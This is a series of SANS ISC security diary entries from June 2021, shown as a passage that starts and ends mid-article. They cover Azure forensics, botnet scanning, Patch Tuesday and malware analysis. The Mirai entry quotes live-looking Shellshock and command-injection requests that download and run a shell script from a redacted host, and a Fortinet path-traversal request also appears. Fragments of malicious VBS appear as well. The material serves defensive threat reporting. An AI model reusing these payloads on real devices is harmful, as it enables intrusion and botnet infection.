"Insights" is enabled directly under the "Monitoring" menu tab of the corresponding VM. Deploying it can be done from within the Azure Portal, while a VM is running, and without having to log in on the VM itself. The solution deploys a Microsoft OMS monitoring agent into the VM though, so this isn't exactly stealthy either.

Unlike the two methods shown in yesterday's diary, "Insights" combines process telemetry from within the VM with network flow logs. The resulting charts are meant well, but get unwieldy very quickly. Behind the charts, there is though a lot of data that can be reached via click-through:


In this case, we can see that the process "wget" made connections on Port 80 and 443, and in the details pane, we can even see the start time, working directory, and the command line used.


But wait, there's more. The "Insights" chart panel is just visualizing information that is also directly accessible, in the associated Azure Log Analytics container. With the right query in Kusto Query Language (KQL), we can search, combine, merge and dice directly on the logs themselves. This allows for example to quickly identify which process (if any) is leaking or uploading large volumes of data, and to where:

When you experiment with Insights for the first time, keep an eye on the related costs. The pricing model of Azure Monitor Insights is a bit unpredictable, and depends on the volume stored in the associated Log Analytics container. If you have a busy machine that generates a lot of log data, the "free" 5GB allotment in the current Pay-as-you-go pricing model can be used up quite quickly. See https://azure.microsoft.com/en-us/pricing/details/monitor/ for details.

If you have additional tips on how to conduct forensic network monitoring on Azure VMs, please let us know, or share in the comments below.




Published: 2021-06-17

Network Forensics on Azure VMs (Part #1)

The tooling to investigate a potentially malicious event on an Azure Cloud VM is still in its infancy. We have covered before (Forensicating Azure VMs) how we can create a snapshot of the OS disk of a running VM. Snapshotting and then killing off the infected VM is very straight forward, but it also tips off an intruder that he has been found out. Sometimes, it makes sense to first watch for a while, and learn more, for example about compromised accounts, lateral movement, or other involved hosts.

And to that end ... we would like to capture the network traffic to and from our affected VM.  In an "old-fashioned" on-premises datacenter, we would in such a situation likely deploy an RSPAN port to mirror the traffic to a collector. A similar functionality was once in the making for Azure with "Virtual Network Tap" but this solution has been put on ice by Microsoft, and is not currently available.

Of course we could also log into the VM and start Wireshark or tcpdump ... but this wouldn't be exactly subtle, and if the machine indeed were compromised, doing so would for sure tip off the attacker.

So ... which options are there?

Option 1:  Network Watcher Packet Capture

This delivers a full PCAP, and Microsoft amazingly even managed not to "improve" the PCAP format. Which means that the PCAPs collected with Network Watcher can in fact be opened and analyzed Wireshark. I'm sure this was just an oversight on Microsoft's part, and they are currently busy re-implementing packet capture to produce a JSON or Excel file instead :)

Joking aside, the main downside of this Network Watcher PCAP is that the capture duration is limited to 18000 seconds aka five hours. So you need to add some sort of logic to (or have an operator manually) restart the capture every couple hours, to make sure no data is lost. The second downside is that the PCAP is written to an Azure Blob Storage account, and the caching/timing of those writes is mightily unpredictable. If you expect that you can "watch live" what is going on on the VM, think again. The PCAPs show up with delays of half a hour or more.  

The main advantage is ... well, it is full PCAPs, and packets rule! Another advantage is that Network Watcher PCAP can be deployed onto a VM interface from within the Azure Portal, without touching the VM itself, and while the VM keeps running. An intruder who has an eye on the processes within the VM would notice though - while the watcher gets deployed via the virtualization layer, it does result in running "Network Watcher" processes that are visible from within the VM.

To enable Network Watcher for your VM, search for "Network Watcher" from the main Azure Portal search bar. Enable the Watcher for the Azure region(s) where you have resources of interest. Then open Network Watcher, and click on "Packet Capture" in the menu on the left.

Option 2: Flow Logs on the Network Interface Security Group (NSG)

This is one of the older techniques. Flow logs don't provide full packet captures, but create a log of source/destination IPs and ports, timestamp, and bytes transferred in each direction. Better than nothing. The main disadvantage is that in this case, Microsoft did reinvent the format, and it is a puke pile of JSON where, to their shame, even Microsoft's own recommendation seems to be to import the logs into Elastic or Splunk, or - yikes - to evaluate them using PowerBI. In a pinch, the format can though also be parsed with a bit of Powershell. https://docs.microsoft.com/en-us/azure/network-watcher/network-watcher-nsg-flow-logging-overview explains the structure.

To enable Flow Logs, open the NSG attached to the interface or VNET in question. The option "NSG Flow Logs" in the menu on the left, under "Monitoring", is where you enable the forwarding of flow logs to an Azure Storage Account.

In tomorrow's diary, we're going to look at a third option, using Azure Monitor Insights.





Published: 2021-06-16

June 2021 Forensic Contest


This is a last-minute forensic quiz for June 2021 based on a packet capture (pcap) with Windows-based infection traffic.  Like the previous two months, this month's prize is a Raspberry Pi.  Rules for the contest follow:

  • Only one submission per person.
  • Participants who submit the correct answers will be entered into a drawing, and one will win the Raspberry Pi.
  • Submissions should be made using the form on our contact page at: https://isc.sans.edu/contact.html
  • Use June 2021 Forensic Quiz for the Subject: line.
  • Provide the following information:
    • IP addresses of the infected Windows computers.
    • Host names of the infected Windows computers.
    • User account names from the infected Windows computers.
    • Date and time the infection activity began in UTC (the GMT or Zulu timezone) for each infected computer
    • The family of malware involved for each infection.

We will accept submissions through Monday June 28th, 2021.  Everyone who submits the correct answers will be entered in a drawing, and the winner will be randomly chosen on Tuesday June 29th.  The winner will be announced in an ISC diary on Wednesday June 30th that will also provide analysis of the infection traffic.

Material for our June 2021 forensic contest is located at this Github repository.  The repository contains a zip archive with a pcap of network traffic from  infected Windows hosts.  I always recommend people review pcaps of malware in a non-Windows environment, if possible.

Shown above:  Pcap for this month's contest opened in Wireshark.

NOTE: The pcap has more than one infected computer on the network, and the infections are independent of each other, meaning each infection was not caused by any of the others.  This month's quiz should be much more difficult than last month's contest in May 2021.

The pcap is approximately 45.2 MB, so Wireshark might be sluggish when viewing it.  I suggest participants filter on the MAC addresse for each infected Windows host, then use File --> Export Specified Packets to save network traffic for each host to a different pcap. 


Analysis of the infection traffic requires Wireshark or some other pcap analysis tool.  Wireshark is my tool of choice to review pcaps of infection traffic.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

I always recommend participants review these pcaps in a non-Windows environment like BSD, Linux, or macOS.  Why?  Because this pcap contains traffic with Windows-based malware.  If you're using a Windows host to review such pcaps, your antivirus (or Windows Defender) may delete or alter the pcap.  Worst case?  If you extract malware from a pcap and accidentally run it, you might infect your Windows computer.

Active Directory (AD) Environment

The infected Windows host is part of an AD environment, so the pcap contains information about the Windows user account. The user account is formatted as firstname.lastname.  The AD environment characteristics are:

  • LAN segment range: ( through
  • Domain: saltmobsters.com
  • Domain Controller: - Saltmobsters-DC
  • LAN segment gateway:
  • LAN segment broadcast address:

Final Words

Again, a zip archive with a pcap for this month's contest is available in this Github repository.  As stated earlier, we will accpet submissions through Monday June 28th, 2021.  Everyone who submits the correct answers will be entered in a drawing, and the winner will be randomly chosen on Tuesday June 29th.  The winner will be announced in an ISC diary on Wednesday June 30th that will also provide analysis of the infection traffic.


Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2021-06-15

Multi Perimeter Device Exploit Mirai Version Hunting For Sonicwall, DLink, Cisco and more

Vulnerable perimeter devices remain a popular target, and we do see consistent exploit attempts against them. This weekend, Guy wrote about some scans for Fortinet vulnerabilities [1], and Xavier notes that Crowdstrike observed attacks against EoL Sonicwalls [2]. Starting earlier this month, we did also observe a consistent trickle of requests looking for a relatively recent Sonicwall vulnerability:

GET /cgi-bin/jarrewrite.sh HTTP/1.1
User-Agent: () { :; }; echo ; /bin/bash -c "cd /tmp; wget http://[redacted]/lolol.sh; curl -O http://[redacted]/lolol.sh; chmod 777 lolol.sh; sh lolol.sh"

These requests started about a week ago and appeared to originate from a botnet associated loosely with the "Mirai" family.

These requests appear to be looking for exposed devices that may be vulnerable to, get this: Shellshock! Shellshock is not a new vulnerability. First discovered in 2014 and heavily exploited ever since. Sonicwall fixed the problem in 2015 with firmware release SMA But according to some more recent blog posts, there appear to be plenty of unpatched targets, and it looks like at least one botnet added this exploit to its repertoire.

The same botnet is also scanning for these vulnerabilities:

GET /%1b%5d%32%3b%6f%77%6e%65%64%07%0a necho -en [maybe Ruby WEBrick vulnerability]
GET /check_browser?lang=. [likely DLink DIR-825 Vulnerability]
POST /cgi-bin/login.cgi 
POST /cgi-bin/system_mgr.cgi? [likely CVE-2020-25506 DNS-320]
POST /storfs-asup [likely CVE-2021-1497, Cisco Hyperflex]

The attackers do appear to attempt to install a version of Mirai [3].

A quick scan of the UPX compressed binary downloaded by these attempts shows that this botnet may have some additional tricks up its sleeve. For example:

POST /goform/setmac HTTP/1.1
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Content-Type: application/x-www-form-urlencoded

This request appears to be targeting a recently disclosed vulnerability in Tenda AC11 Routers (CVE-2021-31755) [4]

Another request looks like an exploit for CVE-2021-27561/27562 affecting Yealink Device Management.


And more... 

here is a complete list of the GET/POST requests found in the binary:

POST /cdn-cgi/
GET echo -e "GET h://[f] HTTP/1.1
POST /cgi-bin/system_mgr.cgi? HTTP/1.1
POST /storfs-asup HTTP/1.1
POST /AdminService/urest/v1/LogonResource HTTP/1.1
POST /boaform/admin/formLogin_en HTTP/1.1
POST /boaform/admin/formTracert HTTP/1.1
GET /%1b%5d%32%3b%6f%77%6e%65%64%07%0a necho -en "GET /
POST /login.htm HTTP/1.1
GET enable=aaa;cd /tmp;wget http://[redacted]/lolol.sh;curl -O http://[redacted]/lolol.sh;chmod 777 lolol.sh;sh lolol.sh;
GET /cgi-bin/jarrewrite.sh
GET /tos/index.php?explorer/pathList&path=`curl -O; wget; chmod 777 lolol.sh; sh lolol.sh` HTTP/1.1
POST /goform/setmac HTTP/1.1
POST /cgi-bin/login.cgi HTTP/1.1
GET /premise/front/getPingData?url=;cd%20/tmp;wget%20http://[redacted]/lolol.sh;curl%20-O%20 http://[redacted]/lolol.sh;chmod%20777%20lolol.sh;sh%20lolol.sh;

[1] https://isc.sans.edu/forums/diary/Fortinet+Targeted+for+Unpatched+SSL+VPN+Discovery+Activity/27520/
[2] https://isc.sans.edu/forums/diary/Sonicwall+SRA+4600+Targeted+By+an+Old+Vulnerability/27518/
[3] https://www.virustotal.com/gui/file/7e6d10e8e4c1b7b06f31ddbcfef1f2351b7f5e0ab418f88ac5aaf2f1fe8867e7/detection
[4] https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2021-06-13

Update: mac-robber.py

Almost 4 years ago, I wrote a python version of mac-robber. I use it fairly regularly at $dayjob. This past week, one of my co-workers was using it, but realized that it hashes large files a little too slowly. He decided to use mac-robber.py to collect the MAC times and do the hashing separately so he could limit the hashes to to files under a certain size. That sounded reasonable, so I've added a switch (-s or --size). If hashing is turned on the new switch will limit the hashing to files under the given size.

To see it in action, see the next figure.

I hope others find this new feature useful. If anyone has more suggestions for new features, you can let me know via comments here, e-mail, or our contact form. The tool can be found at the same place as before: 


Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu


Published: 2021-06-12

Fortinet Targeted for Unpatched SSL VPN Discovery Activity

Over the past 60 days, I have observed scanning activity to discover FortiGate SSL VPN unpatched services. Fortinet has fixed several critical vulnerabilities in SSL VPN and web firewall this year from Remote Code Execution (RCE) to SQL Injection, Denial of Service (DoS) which impact the FortiProxy SSL VPN and FortiWeb Web Application Firewall (WAF) products [1][2]. Two weeks ago, US-CERT [4] released an alert re-iterating that APT actors are looking for Fortinet vulnerabilities to gain access to networks. Additional information to look for signs of this activity available here.

Fortinet Scanning Activity

Here is a sample of what can be seen in the logs:

20210611-053716: data
GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
Host: 70.XX.XXX.XXX:8443
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0\r\nAccept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1

[1] https://www.fortiguard.com/psirt?date=01-2021
[2] https://www.fortinet.com/blog/psirt-blogs/patch-vulnerability-management
[3] https://us-cert.cisa.gov/ncas/current-activity/2021/04/02/fbi-cisa-joint-advisory-exploitation-fortinet-fortios
[4] https://us-cert.cisa.gov/ncas/current-activity/2021/05/28/fbi-update-exploitation-fortinet-fortios-vulnerabilities
[5] https://www.ic3.gov/Media/News/2021/210527.pdf

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2021-06-11

Sonicwall SRA 4600 Targeted By an Old Vulnerability

Devices and applications used to provide remote access are juicy targets. I've already been involved in many ransomware cases and most of the time, the open door was an unpatched VPN device/remote access solution or weak credentials. A good example, the recent attack against the Colonial Pipeline that started with a legacy VPN profile[1].

A group of attackers is targeting Sonicwall devices through the vulnerability described in %%cve:2019-7481%%. Yes, a vulnerability from 2019! It affects Sonicwall SRA ("Secure Remote Access") 4600 devices running firmware versions 8.x and 9.x. Crowdstrike published a nice blog post about this vulnerability[2].

If you run a Sonicwall device affected by this vulnerability, please review your current firmware and patch!

[1] https://www.hsgac.senate.gov/imo/media/doc/Testimony-Blount-2021-06-08.pdf
[2] https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-06-11

Keeping an Eye on Dangerous Python Modules

With Python getting more and more popular, especially on Microsoft Operating systems, it's common to find malicious Python scripts today. I already covered some of them in previous diaries[1][2]. I like this language because it is very powerful: You can automate boring tasks in a few lines. It can be used for offensive as well as defensive purposes, and... it has a lot of 3rd party "modules" or libraries that extend its capabilities. For example, if you would like to use Python for forensics purposes, you can easily access the registry and extract data:

This snippet of code starts with an import line. First, I need to load a specific module (in this case winreg) that will add to Python all the required code to manipulate the OS registry hives.

Let's switch back to the "dark side". When an attacker needs to write a piece of code to perform specific tasks, he will search for existing modules and not reinvent the wheel. To search for Python modules, the best place is to visit pypi.org[3]. Let's take another example: injection of code. Python is able to use all the Windows API calls with the help of the ctypes module:

In this example, I'm using the ctypes modules to call the Windows API VirtualAlloc() and allocated 1KB of memory with the flag "0x04" (which means that the memory will be allowed to contain executable code).

ctypes is not a common module used in simple scripts to automate tasks like System Administrators could write. It could be categorized as "suspicious". Let's have another example. I found this malicious script that implements a keylogger. It uses another not common Python module:

The suspicious module is pyHook which "provides callbacks for global mouse and keyboard events in Windows" as the documentation says.

Want more? Let' use now wave and sounddevice to use the host microphone and record some conversations...

Other interesting modules?  Use pyscreenshot to take screenshots or pynput to build another type of keylogger.

The question is now, from a defender's perspective, how can we detect suspicious Python modules?

If you have access to the host, you can always use the "pip" command (the utility to manage modules):

pip will list the modules that have been installed "manually" (could be done by an attacker). To get a full list of modules, you can use the help() command in the Python interpreter:

As you can see, it's interesting to spot malicious Python code just by having a look at the imported modules! If you would like to hunt, you can create a YARA rule to search for interesting modules inside text files...

[1] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530
[2] https://isc.sans.edu/forums/diary/From+Python+to+Net/27366
[3] https://pypi.org

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-06-09

Architecture, compilers and black magic, or "what else affects the ability of AVs to detect malicious files"

In my last diary, we went over the impact of different Base encodings on the ability of anti-malware tools to detect malicious code[1]. Since results of our tests showed (among other things) that AV tools in general still struggle significantly more with detecting 64-bit malicious code then 32-bit malicious code, I thought it might be interesting to discuss another factor that might impact the ability of AVs to detect malware – specifically the choice of a compiler.

Since compilers can differ significantly in terms of their internal functionality and the use of various optimization techniques, it makes sense why they generate slightly (or significantly) different output from the same initial code. But do these differences have any impact in terms of hindering the ability of anti-malware to correctly identify malicious code? To try and answer this question, I devised a simple test.

I would start with 3 C++ programs:

  • one that would write a benign text file do disk (i.e. a “control” program that would allow us to identify the number of false-positive detections),
  • one that would drop the EICAR test file[2] on disk and
  • a program that would execute a staged Meterpreter reverse-tcp payload.

I would then compile each of these programs with 2 different compilers (TDM-GCC and Microsoft Visual C++) into both 32 and 64-bit binaries and use VirusTotal to find out whether would be any significant differences in their detections.

I used the following very simple code for both the “control” program and the EICAR dropper:

#include <iostream>
#include <fstream>
using namespace std;

int main() {
  ofstream OutFile([filename]);
  OutFile << [file contents];

In the benign file, I’ve used the string “This is a benign string” as the contents. For the malicious program that would execute Meterpreter, I’ve used the same code as last time.

After all the binaries were compiled, it turned out that their VirusTotal detection scores did indeed differ – quite significantly in the case of our only “real” malicious file.

Besides a significant difference in the number of detections of the same 32-bit and 64-bit code, the chart seems to show that overall, the use Microsoft’s compiler might have negative impact on the ability of anti-malware tools to detect malicious code, at least when compared with TDM-GCC… But this isn’t actually true.

Even a small change to the initial code might result in significant changes to the resulting binary (and the ability of AVs to detect it) and these changes would be different for every compiler.

This can be seen quite clearly in the following chart, which shows detection scores of the original Meterpreter binaries and the scores for binaries that were compiled from the same source code, in which the only change was an increase (by about 1k) of the amount of memory allocated for the Meterpreter shellcode (which would not affect the basic function of the binary in this instance).

As we can see, the use of Visual C++ compiler over TDM-GCC does not always result in lower detection scores, as it might have appeared from the first chart. What is obvious from both charts, however, is that the choice of a compiler truly does make an impact when it comes to the ability of AVs to detect malicious code.

Even so, this is far from the whole story, since the choice of a compiler is not the only thing that affects the contents of a resulting binary. Use of different optimization settings might go a long way to change the result as well and the same might be true for use of different linkers. Given how simple our test code was, the differences caused by the use of different linkers should not be too significant here, but in the case of more complex code, it could certainly be noticeable... and there are many other factors as well. That will, however, be a topic for another time.

[1] https://isc.sans.edu/forums/diary/All+your+Base+arenearly+equal+when+it+comes+to+AV+evasion+but+64bit+executables+are+not/27466/
[2] https://www.eicar.org/?page_id=3950

Jan Kopriva
Alef Nula


Published: 2021-06-08

Microsoft June 2021 Patch Tuesday

This month we got patches for 50 vulnerabilities. Of these, 5 are critical, 2 were previously disclosed and 6 is already being exploited according to Microsoft.

The highlight this time, of course, goes to the 6 zero-days: an elevation of privileges vulnerability on Microsoft DWM Core Library (CVE-2021-33739) - the only previously disclosed, an elevation of privilege vulnerability on Windows NTFS (CVE-2021-31956), an information disclosure vulnerability on Windows Kernel (CVE-2021-31955), an elevation of privilege vulnerability on Microsoft Enhanced Cryptographic Provider (CVE-2021-31201 and CVE-2021-31199) and, more importaltly, a remote code execution vulnerability affecting Windows MSHTML Platform (CVE-2021-33742).

Apart from the zero-days, there is an important security feature bypass Vulnerability Kerberos AppContainer (CVE-2021-31962). According to the advisory, in an enterprise environment this vulnerability might allow an attacker to bypass Kerberos authentication, to authenticate to an arbitrary service principal name. This vulnerability was associated to the highest CVSS this month: 9.4.

There is also a remote code execution affecing Windows Defender (CVE-2021-31985). According to the advisory, this vulnerability is more likely to be exploited, requires no authentication and the attack complexity is low.

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Core and Visual Studio Denial of Service Vulnerability
%%cve:2021-31957%% No No Less Likely Less Likely Important 5.9 5.2
3D Viewer Information Disclosure Vulnerability
%%cve:2021-31944%% No No Less Likely Less Likely Important 5.0 4.4
3D Viewer Remote Code Execution Vulnerability
%%cve:2021-31942%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-31943%% No No Less Likely Less Likely Important 7.8 6.8
Event Tracing for Windows Information Disclosure Vulnerability
%%cve:2021-31972%% No No Less Likely Less Likely Important 5.5 4.8
Kerberos AppContainer Security Feature Bypass Vulnerability
%%cve:2021-31962%% No No Less Likely Less Likely Important 9.4 8.2
Microsoft DWM Core Library Elevation of Privilege Vulnerability
%%cve:2021-33739%% Yes Yes Detected Detected Important 8.4 7.8
Microsoft Defender Denial of Service Vulnerability
%%cve:2021-31978%% No No Less Likely Less Likely Important 5.5 4.8
Microsoft Defender Remote Code Execution Vulnerability
%%cve:2021-31985%% No No More Likely More Likely Critical 7.8 6.8
Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability
%%cve:2021-33741%% No No Less Likely Less Likely Important 8.2 7.1
Microsoft Enhanced Cryptographic Provider Elevation of Privilege Vulnerability
%%cve:2021-31199%% No Yes Detected Detected Important 5.2 4.8
%%cve:2021-31201%% No Yes Detected Detected Important 5.2 4.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2021-31939%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Intune Management Extension Remote Code Execution Vulnerability
%%cve:2021-31980%% No No Less Likely Less Likely Important 8.1 7.1
Microsoft Office Graphics Remote Code Execution Vulnerability
%%cve:2021-31940%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-31941%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2021-31949%% No No Less Likely Less Likely Important 6.7 5.8
Microsoft SharePoint Server Information Disclosure Vulnerability
%%cve:2021-31965%% No No Less Likely Less Likely Important 5.7 5.0
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2021-26420%% No No Less Likely Less Likely Important 7.1 6.2
%%cve:2021-31963%% No No Less Likely Less Likely Critical 7.1 6.2
%%cve:2021-31966%% No No Less Likely Less Likely Important 7.2 6.3
Microsoft SharePoint Server Spoofing Vulnerability
%%cve:2021-31964%% No No Less Likely Less Likely Important 7.6 6.6
%%cve:2021-31948%% No No Less Likely Less Likely Important 7.6 6.6
%%cve:2021-31950%% No No Less Likely Less Likely Important 7.6 6.6
Microsoft VsCode Kubernetes Tools Extension Elevation of Privilege Vulnerability
%%cve:2021-31938%% No No Less Likely Less Likely Important 7.3 6.4
Paint 3D Remote Code Execution Vulnerability
%%cve:2021-31945%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-31946%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-31983%% No No Less Likely Less Likely Important 7.8 6.8
Scripting Engine Memory Corruption Vulnerability
%%cve:2021-31959%% No No More Likely More Likely Critical 6.4 5.6
Server for NFS Denial of Service Vulnerability
%%cve:2021-31974%% No No Less Likely Less Likely Important 7.5 6.5
Server for NFS Information Disclosure Vulnerability
%%cve:2021-31975%% No No Less Likely Less Likely Important 7.5 6.5
%%cve:2021-31976%% No No Less Likely Less Likely Important 7.5 6.5
VP9 Video Extensions Remote Code Execution Vulnerability
%%cve:2021-31967%% No No Less Likely Less Likely Critical 7.8 6.8
Windows Bind Filter Driver Information Disclosure Vulnerability
%%cve:2021-31960%% No No Less Likely Less Likely Important 5.5 4.8
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2021-31969%% No No Less Likely Less Likely Important 7.8 6.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2021-31954%% No No More Likely More Likely Important 7.8 6.8
Windows DCOM Server Security Feature Bypass
%%cve:2021-26414%% No No Less Likely Less Likely Important 4.8 4.2
Windows Filter Manager Elevation of Privilege Vulnerability
%%cve:2021-31953%% No No Less Likely Less Likely Important 7.8 6.8
Windows GPSVC Elevation of Privilege Vulnerability
%%cve:2021-31973%% No No Less Likely Less Likely Important 7.8 6.8
Windows HTML Platform Security Feature Bypass Vulnerability
%%cve:2021-31971%% No No Less Likely Less Likely Important 6.8 5.9
Windows Hyper-V Denial of Service Vulnerability
%%cve:2021-31977%% No No Less Likely Less Likely Important 8.6 7.5
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2021-31951%% No No More Likely More Likely Important 7.8 6.8
Windows Kernel Information Disclosure Vulnerability
%%cve:2021-31955%% No Yes Detected Detected Important 5.5 5.1
Windows Kernel-Mode Driver Elevation of Privilege Vulnerability
%%cve:2021-31952%% No No More Likely More Likely Important 7.8 6.8
Windows MSHTML Platform Remote Code Execution Vulnerability
%%cve:2021-33742%% No Yes Detected Detected Critical 7.5 7.0
Windows NTFS Elevation of Privilege Vulnerability
%%cve:2021-31956%% No Yes Detected Detected Important 7.8 7.2
Windows NTLM Elevation of Privilege Vulnerability
%%cve:2021-31958%% No No Less Likely Less Likely Important 7.5 6.5
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2021-1675%% No No Less Likely Less Likely Important 7.8 6.8
Windows Remote Desktop Services Denial of Service Vulnerability
%%cve:2021-31968%% Yes No Less Likely Less Likely Important 7.5 6.5
Windows TCP/IP Driver Security Feature Bypass Vulnerability
%%cve:2021-31970%% No No Less Likely Less Likely Important 5.5 4.8

Renato Marinho
Morphus Labs| LinkedIn|Twitter


Published: 2021-06-07

Amazon Sidewalk: Cutting Through the Hype

Later this week (tomorrow?), Amazon will enable its new Sidewalk feature. The feature has already gotten a lot of bad press. Much of this comes from the fact that existing devices are automatically used as Sidewalk Gateways, and users will have to opt out. New devices may require a specific opt-in during setup.

Let's first start with what Amazon Sidewalk is not: Amazon Sidewalk is not WiFi. It has WiFi components, but you cannot allow access to your WiFi network if you enable Amazon Sidewalk. Amazon Sidewalk allows for the exchange of specific messages to Amazon's "Sidewalk Network Server."

The use case for Amazon Sidewalk is sensors or IoT devices exchanging messages with applications. For example, a motion sensor may send a message whenever it detects motion, or a Tile tracker may update the network about its location.

Amazon Sidewalk consists of three components:

  • Endpoint Device ("Device"): This is the device using Amazon Sidewalk to communicate (for example, location trackers, light switches, or motion sensors).
  • Gateway: A gateway receives messages from devices and passes them to Amazon's infrastructure (SNS). Amazon Echo devices or Amazon Ring Cameras are examples of gateways. They are always-on devices that are connected to the internet.
  • Amazon's Sidewalk Network Service (SNS): This is the infrastructure Amazon runs to send and receive messages.

Several radio standards can be used by devices to send messages to gateways. For example, Amazon mentions Bluetooth LE, LoRa, and 900 Mhz Frequency Key Shifting ("Garage Door Openers"). Once a message hits a gateway, it will likely use Wifi to travel to an internet router and from there via the Internet to Amazon's SNS.

Amazon Sidewalk Overview

Initially, only Amazon devices and applications will be able to use Sidewalk. But Amazon specifically suggests that authorized 3rd parties will be able to participate in the future as well. As a result, you may see various IoT or home automation products that will connect to the Amazon sidewalk or act as a gateway.

To use Sidewalk capable devices, you will need a gateway. But you do not have to share the gateway with others. Your gateway will still work, and your own devices should still be able to use it. Typically you use a device-specific Application to connect to your device or gateway. Then, the same application will be used to configure the device and disable the sharing feature.

A Sidewalk capable device will arrive from the factory with a set of trusted certificate authorities pre-set. It will also include a unique public/private key pair with certificates that are signed by a trusted manufacturer signing certificate. This will be used to identify the device and authorize access to the network. Amazon may block devices that misbehave. Devices will regularly register with Amazon using these certificates and negotiate encryption keys.

Any messages sent by the device will be encrypted on the device and then again by the gateway (the gateway cannot decrypt the messages). The message can only be decrypted on Amazon's SNS as it has the keys for both the gateway and the device (gateways also register with Amazon). Amazon will remember which gateway sent a message from a particular device. To reply or send a message to a particular device, Amazon will send it to the gateway last used by the device.

There are a couple of things Amazon says it is doing to protect the network and the customers:

  • The network will be "closed," with only approved developers and manufacturers using it. To use the network, a manufacturer needs a trusted signing certificate. We will see how well Amazon manages the process (like "Marketplace" ?)
  • The total bandwidth used by a gateway will not exceed 80Kbps. This network is meant for small messages/status updates. Not for "Web Browsing."
  • A gateway will limit itself to 500MB of total traffic. This isn't much but could be a problem on some expensive minimum data cap internet connections (cellular modems or some legacy satellite services)
  • Privacy: Amazon says that the gateway will not see any device identifier, and the device will not see the gateway's identifier.

While the network isn't intended for "Internet Access," it will almost certainly be used as a messaging network. It should be trivial to open an approved device and replace the sensor with a device providing values to be sent over the sidewalk. This would retain the certificate infrastructure embedded into the device without having to extract them. As a next step, someone will figure out (or already has?) how to extract the certificates used to authenticate the device and completely re-build them in software.

A lot of the "magic" happens on Amazon's side, and it remains to be seen what Amazon will do with the data. Should you disable Sidewalk access sharing? For the most part: You are already connecting to Amazon's cloud and entrusting Amazon with your security camera's video footage and home automation sensor data just by using Amazon devices. Sidewalk does not appear to expose you to a substantial additional risk. However, there is a possibility that gateways will not implement the protocol correctly, and a malformed message will lead to code execution on the gateway. Give it a couple of weeks/months for people to play with this to see what happens. Notably, a lot of checking and access control is done by Amazon. The gateway will only validate the formatting of the message.

[1] https://www.amazon.com/Amazon-Sidewalk/b?ie=UTF8&node=21328123011

[2] https://developer.amazon.com/en-US/blogs/alexa/device-makers/2020/09/amazon-sidewalk-paves-the-way-for-more-connected-communities

[3] https://m.media-amazon.com/images/G/01/sidewalk/final_privacy_security_whitepaper.pdf





Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2021-06-04

Russian Dolls VBS Obfuscation

We received an interesting sample from one of our readers (thanks Henry!) and we like this. If you find something interesting, we are always looking for fresh meat! Henry's sample was delivered in a password-protected ZIP archive and the file was a VBS script called "presentation_37142.vbs" (SHA256:2def8f350b1e7fc9a45669bc5f2c6e0679e901aac233eac63550268034942d9f). I uploaded a copy of the file on MalwareBazaar[1].

When you open it, you spot immediately the first obfuscation technique used: characters encoding but also a lot of junk comments (to make readability more difficult). So, first, let's get rid of the comments (there are present in both formats: "REM" or a single quote)

root@remnux:/MalwareZoo/20210603# egrep -v "^(REM|')" presentation_37142.vbs >presentation_37142.vbs.nocomments

When you have a look at the cleaned file, you see some calls to execute the result of a function limpet():

Indeed, below in the code, we find the function:

Function limpet(hmx)
  KONQLa = lbound(hmx)
  OOSUF = ubound(hmx)
  for judicious = KONQL to OOSUF
    if hmx(judicious) = 999999 Then
      Talmud = Talmud & ChrW(Int((chivalrous-pbI+1)*Rnd+pbI))
      Talmud = Talmud & ChrW(hmx(judicious) - (((5965 - (12 - 6.0)) - 292.0) - 5660.0))
    End if
  limpet = Talmud
End Function

It's used to decode arrays of integers that we find in the file. We can try to replace all the execute()calls with Wscript.Echo() and execute the file:

We decoded more pieces of the script but we see that it fails on the line "ELvv". We can see a bunch of strings at the end of the script:


Those functions are created when the strings are deobfuscated by limpet() and executed. Here is an example:

Function ELvv()
  GewqX("DEBUG: FS_FCH - Start")
  on error resume next
  Dim chivalrous,pbI
  WScript.Sleep Int((chivalrous-pbI+1)*Rnd+pbI)
  Set setupService = GetObject("winmgmts:\\.\root\cimv2")
  Set judiciouslItems = setupService.ExecQuery("Select * from Win32_LogicalDisk")
  For Each inhwg In judiciouslItems
